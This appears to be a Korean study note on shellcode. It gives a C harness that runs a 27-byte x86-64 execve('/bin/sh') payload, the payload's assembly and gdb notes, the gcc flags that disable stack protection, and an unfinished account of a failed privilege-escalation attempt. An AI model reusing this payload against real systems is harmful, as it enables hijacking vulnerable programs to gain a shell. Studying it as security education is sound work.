Shellcode는 작은 크기의 코드로 소프트웨어 취약점을 이용하는 짧은 기계어 코드이다. 일반적으로 명령 셸(Instruction Shell)을 실행시켜서 피해자의 컴퓨터를 공격자가 통제(Control)한다.

Shellcode는 Assembly로 작성되고 기계어로 번역되어 사용된다. 흔히 root의 권한을 얻기 위해서 사용된다.

Shell.c (Local Shellcode)

#include <stdio.h>
#include <string.h>

char code[] = "\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05";

int main()
{
    printf("len:%d bytes\\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

Assembly

/*
 * Execute /bin/sh - 27 bytes
 * Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\\304\\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
;
;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
;   0x7ffff7aeff25 <execve+5>:   syscall 
;

main:
    ;mov rbx, 0x68732f6e69622f2f
    ;mov rbx, 0x68732f6e69622fff
    ;shr rbx, 0x8
    ;mov rax, 0xdeadbeefcafe1dea
    ;mov rbx, 0xdeadbeefcafe1dea
    ;mov rcx, 0xdeadbeefcafe1dea
    ;mov rdx, 0xdeadbeefcafe1dea
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    sys

//http://shell-storm.org/shellcode/files/shellcode-806.php

gcc -fno-stack-protector -z execstack shell.c -o shell

칼릴 리눅스는 보안이 있기 때문에 풀어줘야 한다.

위에 방법대로 해도 test로 유저를 변경하고 whoami를 쳤을 때 그대로 test였다.

그래서 msfvenom을 사용해, /bin/bash를 기계어 코드로 받고 실행 해 본 결과. 역시 그대로였다.

무엇이 문제 였을

여러가지 정보를 찾아 본 결과